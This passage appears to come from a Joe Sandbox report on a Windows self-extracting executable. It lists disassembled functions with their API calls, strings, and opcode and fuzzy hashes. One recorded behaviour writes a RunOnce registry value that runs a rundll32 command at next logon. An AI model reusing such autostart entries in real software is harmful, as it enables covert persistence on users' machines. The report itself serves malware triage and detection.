GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0021427A
GetTempPathA.KERNEL32(00000104,002188C0,?,00000001), ref: 0021429F
CharPrevA.USER32(002188C0,00431181,?,00000001), ref: 002142C2
CharPrevA.USER32(002188C0,00000000,?,00000001), ref: 002142D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 00214391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 002143A5

Strings

SHGetPathFromIDList, xrefs: 00214274
SHBrowseForFolder, xrefs: 00214246
SHELL32.DLL, xrefs: 0021422F

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 5764c03c5838bcae2de4d0504f4ae937002cb7069cc3ba308ea67ebe1abbfc3a
Instruction ID: 847403d4741ee8e3abe7f6d8c267b6491a37db2c20386ca2ca180f1c0508b492
Opcode Fuzzy Hash: 5764c03c5838bcae2de4d0504f4ae937002cb7069cc3ba308ea67ebe1abbfc3a
Instruction Fuzzy Hash: 57412A74A11209AFD7117F60ECC8AED7BF4EB7A344F254069E949A3251CF748C92C761

Function 00212773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32(64575791,00000000,00000000,00000000), ref: 002127A8
CharNextA.USER32(?), ref: 002127B5
CharNextA.USER32(00000000), ref: 002127BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00212829
RegQueryValueExA.ADVAPI32(?,00211140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00212852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00212870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002128A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 002128AA
GetSystemDirectoryA.KERNEL32(-00000005,00000104), ref: 002128B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 002127E4

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: fc163e2699fd99fc968f3c439e84810396bfb782e3508b71d9c06224f94e5d02
Instruction ID: 913e72c70d8f263b915cc4c9b624bca9aa22d786f7cc9d9ee09843efda84ff60
Opcode Fuzzy Hash: fc163e2699fd99fc968f3c439e84810396bfb782e3508b71d9c06224f94e5d02
Instruction Fuzzy Hash: 0B419371A1012CABDB249F649C89AFA77FDEB79700F1140A5F549E2100DB704EE58FA1

Function 00212267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 002122A3
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 002122D8
memset.MSVCRT ref: 002122F5
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00212305
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?), ref: 0021236E
RegCloseKey.ADVAPI32(?), ref: 0021237A

Strings

wextract_cleanup0, xrefs: 0021227C, 002122CD, 00212363
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00212321
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 0021232D
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00212299

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-2874043782
Opcode ID: 7905fcf8d6b28ea6707cc9a09013fdc75bba94e274b1db52160bf4546c9be2a4
Instruction ID: ec1bb472dd4bac4c0f82e933d4d567c086b597eb3a8b24d95e50f809cced1c90
Opcode Fuzzy Hash: 7905fcf8d6b28ea6707cc9a09013fdc75bba94e274b1db52160bf4546c9be2a4
Instruction Fuzzy Hash: 0D318671A10218ABDB219B51DC89FEB7BBCEB79740F0001E5B94DA6051DA71ABE8CA50

Function 00213100 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 0021313B
GetDesktopWindow.USER32 ref: 0021314B
SetDlgItemTextA.USER32(?,00000834), ref: 0021316A
SetWindowTextA.USER32(?,valid), ref: 00213176
SetForegroundWindow.USER32(?), ref: 0021317D
GetDlgItem.USER32(?,00000834), ref: 00213185
GetWindowLongA.USER32(00000000,000000FC), ref: 00213190
SetWindowLongA.USER32(00000000,000000FC,002130C0), ref: 002131A3
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 002131CA

Strings

valid, xrefs: 00213170

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: valid
API String ID: 3785188418-2349282815
Opcode ID: ff15304f80dce0caebbc7763f19ab131ad2e3840b2e98a47519de5c4987bc954
Instruction ID: f8958fd66afdb65868f2677c8e67a4c1a651592a0678807e2b929347c526414d
Opcode Fuzzy Hash: ff15304f80dce0caebbc7763f19ab131ad2e3840b2e98a47519de5c4987bc954
Instruction Fuzzy Hash: 0111B131665212BBDB219F24BC0CBDA3AE5EB7A730F108610F819911E0DFB586A1C752

Function 002117EE Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 71librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,002118DD), ref: 0021181A
GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 0021182C
AllocateAndInitializeSid.ADVAPI32(002118DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,002118DD), ref: 00211855
FreeSid.ADVAPI32(?,?,?,?,002118DD), ref: 00211883
FreeLibrary.KERNEL32(00000000,?,?,?,002118DD), ref: 0021188A

Strings

advapi32.dll, xrefs: 00211810
CheckTokenMembership, xrefs: 00211826

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: 057baaa059c4499f5c2031993d7d655cd54f6ce42409b1c4b6732cb582e6e8ae
Instruction ID: 53fd530ba67533a7bb2534069c487203aba90b1698184f2f9f129b6568125329
Opcode Fuzzy Hash: 057baaa059c4499f5c2031993d7d655cd54f6ce42409b1c4b6732cb582e6e8ae
Instruction Fuzzy Hash: FD119331E11209ABDB109FA4EC4DBFEBBB8EF58700F11416AFA05E2290DF708D518B91

Function 00212AAC Relevance: 12.1, APIs: 8, Instructions: 118COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(?,00000104,00000000,00000000,?), ref: 00212AE6
IsDBCSLeadByte.KERNEL32(00000000), ref: 00212AF2
CharNextA.USER32(?), ref: 00212B12
CharUpperA.USER32 ref: 00212B1E
CharPrevA.USER32(?,?), ref: 00212B55
CharNextA.USER32(?), ref: 00212BD4

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Char$Next$ByteFileLeadModuleNamePrevUpper
String ID:
API String ID: 571164536-0
Opcode ID: 8f281d0af32ae74a3b2570494306bf33dc460c27e8eb115d1a2dd3d8a49cb08a
Instruction ID: 6001d3559071fd1d5999dbed71bd1e704e1d7bc7e7e3f4c192bb1ef162142f11
Opcode Fuzzy Hash: 8f281d0af32ae74a3b2570494306bf33dc460c27e8eb115d1a2dd3d8a49cb08a
Instruction Fuzzy Hash: 5C411334518246AEDB159F209C58BFD7BE99F76314F14409AE8C683202DF754FEA8B50

Function 002128E8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00212A6F

Part of subcall function 00212773: CharUpperA.USER32(64575791,00000000,00000000,00000000), ref: 002127A8
Part of subcall function 00212773: CharNextA.USER32(?), ref: 002127B5
Part of subcall function 00212773: CharNextA.USER32(00000000), ref: 002127BC
Part of subcall function 00212773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00212829
Part of subcall function 00212773: RegQueryValueExA.ADVAPI32(?,00211140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00212852
Part of subcall function 00212773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00212870
Part of subcall function 00212773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 002128A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00213938,?,?,?,?,-00000005), ref: 00212958
GlobalLock.KERNEL32(00000000), ref: 00212969
GlobalUnlock.KERNEL32(00000000), ref: 00212A21
GlobalUnlock.KERNEL32(00000000), ref: 00212A81

Strings

89!, xrefs: 0021293D, 0021297E, 00212940

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID: 89!
API String ID: 3949799724-2547314910
Opcode ID: 501ed3b4a4bd1536ec946bf985b7d81448e02980d0e2e8bce2382a3f8f3a8675
Instruction ID: 400dad617327de5ec807decb0dc72a94cf598939cdd1a7591674a43699c04119
Opcode Fuzzy Hash: 501ed3b4a4bd1536ec946bf985b7d81448e02980d0e2e8bce2382a3f8f3a8675
Instruction Fuzzy Hash: 8051083191021ADBCB21CF98D884AEEBBF5FF68710F14806AF945E3211DB3199A5DB90

Function 002143D0 Relevance: 10.6, APIs: 7, Instructions: 97COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 002143F1
GetWindowRect.USER32(00000000,?), ref: 0021440B
GetDC.USER32(?), ref: 00214423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0021442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0021443A
ReleaseDC.USER32(?,00000000), ref: 00214447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,?), ref: 002144A2

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: cc051134e6a7c01f7dd7c66cb4159732c7e235bd536b7fe81671ffd9b0d95bcc
Instruction ID: b681c5fdc28963168925fd6237989457fe689078a87f58e3148a05443c0fc8a0
Opcode Fuzzy Hash: cc051134e6a7c01f7dd7c66cb4159732c7e235bd536b7fe81671ffd9b0d95bcc
Instruction Fuzzy Hash: C1315E32E11119AFCB14DFB8ED8C9EEBBB5EB99310F154169F805F3240DA706D458BA0

Function 00216298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

Part of subcall function 0021171E: _vsnprintf.MSVCRT ref: 00211750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,002151CA,00000004,00000024,00212F71,?,00000002,00000000), ref: 002162CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,002151CA,00000004,00000024,00212F71,?,00000002,00000000), ref: 002162D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,002151CA,00000004,00000024,00212F71,?,00000002,00000000), ref: 0021631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00216345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,002151CA,00000004,00000024,00212F71,?,00000002,00000000), ref: 00216357

Strings

UPDFILE%lu, xrefs: 002162B3, 00216329

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: ad44a0d031eb8909d734e9168252e90fab96bddaa631bb6648d3891050e2f2fe
Instruction ID: 19ff96b95d4c0d87119bf0257ca12ca862a21b6d912be83bbc732495be1553cf
Opcode Fuzzy Hash: ad44a0d031eb8909d734e9168252e90fab96bddaa631bb6648d3891050e2f2fe
Instruction Fuzzy Hash: 42213731A10219ABCB109FA4DC4D9FFBBB8FF58710B104159FA12A3241DB758D62CBE0

Function 0021681F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 81registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0021686E
GetSystemMetrics.USER32(0000004A), ref: 002168A7
RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 002168CC
RegQueryValueExA.ADVAPI32(?,00211140,00000000,?,?,?), ref: 002168F4
RegCloseKey.ADVAPI32(?), ref: 00216902

Part of subcall function 002166F9: CharNextA.USER32(?,00000001,00000000,00000000,?,?,?,0021691A), ref: 00216741

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 002168C2

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: b6066f470fc45a2ebc55d483eb04900684e7eed695259f221c0a3c8d8124f205
Instruction ID: 7ef414409ea43253db9d7e96ba2b0c9922059b9bbfda23d1d9160a9200d49b22
Opcode Fuzzy Hash: b6066f470fc45a2ebc55d483eb04900684e7eed695259f221c0a3c8d8124f205
Instruction Fuzzy Hash: 7331AB31A11219AFDB218F21DC4CBEFB7B8EB65328F0441A5E90DA3140DB349AD5CF52

Function 002124E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00212506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0021252C
_lopen.KERNEL32(?,00000040), ref: 0021253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0021254C
_lclose.KERNEL32(00000000), ref: 00212555

Strings

wininit.ini, xrefs: 00212510

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 7856bef8b3690eeb7bcbfc4d46eaab012de85019c468d6b15731bd5d1d624e47
Instruction ID: 979a81e2fbac983d704f5534a38c660951e40211661805980a5440cff928278c
Opcode Fuzzy Hash: 7856bef8b3690eeb7bcbfc4d46eaab012de85019c468d6b15731bd5d1d624e47
Instruction Fuzzy Hash: 9E01F532601128A7C720DF69AC4CEDF7BBDEB69760F004165FA48D3190DE748E95CA91

Function 002136EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00213723
MessageBeep.USER32(00000000), ref: 002139C3
MessageBoxA.USER32(00000000,00000000,valid,00000030), ref: 002139F1

Strings

valid, xrefs: 002139E9, 00213A19
3, xrefs: 00213785

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$valid
API String ID: 2519184315-3539985779
Opcode ID: 3bef77c42b2c63d93afaf4171a029a4d1e3ec645d9fd117c90e50e0d14d10f61
Instruction ID: 559e5506f978ad3c29df776ccda3435dc38dbe5ab4f6f4fe920fd1ea97d25758
Opcode Fuzzy Hash: 3bef77c42b2c63d93afaf4171a029a4d1e3ec645d9fd117c90e50e0d14d10f61
Instruction Fuzzy Hash: 3F91F3B1A212259BEB34CF14CD857EAB7E6AF65304F1540A9D8899B281DB708FE1CF41

Function 00216517 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00210000,000007D6,00000005), ref: 0021652A
LoadResource.KERNEL32(00210000,00000000,?,?,00212EE8,00000000,002119E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00216538
DialogBoxIndirectParamA.USER32(00210000,00000000,00000547,002119E0,00000000), ref: 00216557
FreeResource.KERNEL32(00000000,?,?,00212EE8,00000000,002119E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00216560

Strings

.!, xrefs: 0021657C

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID: .!
API String ID: 1214682469-2740948462
Opcode ID: c7d3b15c49e068938cd7de0230100f3696485c819826b053cc0c218e5cc24f9e
Instruction ID: 0bb5fa20f31ec1011a9e5bad4ffcbdcca149acf41463510ec154f9006f1ca7fe
Opcode Fuzzy Hash: c7d3b15c49e068938cd7de0230100f3696485c819826b053cc0c218e5cc24f9e
Instruction Fuzzy Hash: 44012672101206BBCB205F69AC0CEFF7AADEBA9360F404125FE04A3150DB718D608AE1

Function 00216495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 002164DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 002164F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 00216502

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 002164AC
advpack.dll, xrefs: 002164C2, 002164CD, 00216501

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-2381869747
Opcode ID: 15504ab6814ef464350187977bf915969d3833a87e8bbb9dae7a48b9a9d6c625
Instruction ID: be6c7659d1e77646b28610312692de229b4f45b79e272f45138a56c71c9d27df
Opcode Fuzzy Hash: 15504ab6814ef464350187977bf915969d3833a87e8bbb9dae7a48b9a9d6c625
Instruction Fuzzy Hash: 5801D630520108BBDB10DBA4EC4DBEE77B9DB74311F900195F589921C0DFB09EE6CA51

Function 00214169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146A0
Part of subcall function 0021468F: SizeofResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146A9
Part of subcall function 0021468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 002146C3
Part of subcall function 0021468F: LoadResource.KERNEL32(00000000,00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146CC
Part of subcall function 0021468F: LockResource.KERNEL32(00000000,?,00212D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 002146D3
Part of subcall function 0021468F: memcpy_s.MSVCRT ref: 002146E5
Part of subcall function 0021468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 002146EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,002130B4), ref: 00214189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,002130B4), ref: 002141E7

Part of subcall function 002144B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00214518
Part of subcall function 002144B9: MessageBoxA.USER32(?,?,valid,00010010), ref: 00214554

Strings

FINISHMSG, xrefs: 00214173, 002141AB
<None>, xrefs: 002141C5

Memory Dump Source

Source File: 00000000.00000002.2898583081.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true

Associated: 00000000.00000002.2898556387.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898621195.0000000000218000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2898647937.000000000021C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_210000_ByVoN4bhSU.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: c7631d0d16e930ee8bddd0e193b08a08d9a48ccf58b304cd56293ce7295813c4
Instruction ID: 0afa40885a1855612bc0faf615a84c25d6e4d1893068f51ec5a2c5b3f3e55d56
Opcode Fuzzy Hash: c7631d0d16e930ee8bddd0e193b08a08d9a48ccf58b304cd56293ce7295813c4
